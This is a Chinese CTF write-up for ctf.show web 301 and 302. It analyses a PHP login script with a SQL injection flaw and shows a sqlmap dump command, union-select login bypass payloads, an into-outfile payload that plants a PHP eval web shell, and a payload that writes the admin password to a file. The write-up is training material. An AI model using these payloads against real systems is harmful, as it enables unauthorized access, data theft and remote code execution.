web 301-sql注入

因为首页就是login.php,查看源代码
image.png
继续看第二个文件checklogin.php,发现点东西
image.png

  1. <?php
  2. error_reporting(0);
  3. session_start();
  4. require 'conn.php';
  5. # 用户名密码不能为空
  6. $_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
  7. $_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
  8. $username=$_POST['userid'];
  9. $userpwd=$_POST['userpwd'];
  10. # username这里有个注入点
  11. $sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
  12. $result=$mysqli->query($sql);
  13. $row=$result->fetch_array(MYSQLI_BOTH);
  14. # 这里应该是如果没有找到username对应的记录,返回错误,跳回login.php
  15. if($result->num_rows<1){
  16. $_SESSION['error']="1";
  17. header("location:login.php");
  18. return;
  19. }
  20. # 将表单提交的userpwd和数据库中用户匹配的userpwd相比较,一致则跳到index.php
  21. if(!strcasecmp($userpwd,$row['sds_password'])){
  22. $_SESSION['login']=1;
  23. $result->free();
  24. $mysqli->close();
  25. header("location:index.php");
  26. return;
  27. }
  28. # 默认是跳回login.php
  29. $_SESSION['error']="1";
  30. header("location:login.php");
  31. ?>

$_SESSION[‘login’]=1; 这一句要结合index.php来看

  1. <?php
  2. session_start();
  3. require "conn.php";
  4. # 表示$_SESSION['login']如果是null的话,要跳回login.php
  5. if(!isset($_SESSION['login'])){
  6. header("location:login.php");
  7. }
  8. ?>

方法一 sqlmap

发现有注入点先放在sqlmap里跑一遍

  1. sqlmap -u "http://4d366256-1bde-4584-878c-39db4c6f2ce6.challenge.ctf.show/checklogin.php" --data="userid=1&userpwd=1" --batch --dump
  2. # userid=1&userpwd=1 初始赋值随意

image.png

方法二 手工构造payload

结合上面的代码分析情况,有两点可以利用
1、strcasecmp($userpwd,$row[‘sds_password’])
用户输入的密码和数据库查询返回的密码一致
2、username存在注入点可以任意构造密码
通过给一个不存在的用户名在union select 1,则返回的密码为1
image.png
payload
post userid=1’ union select 1%23&userpwd=1

方法三 写入shell

在存在注入点的页面,利用漏洞写入一句话木马,注意注入点在checklogin.php

userid=1' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/m.php"%23&userpwd=2

image.png

方法四 sql结果输出到文件

既然可以写入shell,那也能将数据库中搜索出来的密码写入文件

userid=1' union select sds_password from sds_user where sds_username='admin' into outfile "/var/www/html/w.txt"%23&userpwd=2

image.png
image.png

web 302

if(!strcasecmp($userpwd,$row[‘sds_password’])){
改为
if(!strcasecmp(sds_decode($userpwd),$row[‘sds_password’])){
notepad++有个查找所有打开文件功能挺好使,找到了fun.php中有该函数
image.png

<?php
function sds_decode($str){
    return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>

if(!strcasecmp(sds_decode($userpwd),$row[‘sds_password’])){
比较的是输入的密码,等于数据库中查询的密码经过sds_decode加密后的值
image.png
payload
userid=1’ union select ‘d9c77c4e454869d5d8da3b4be79694d3’ #&userpwd=1
同样用上题中into outfile的方法也能绕过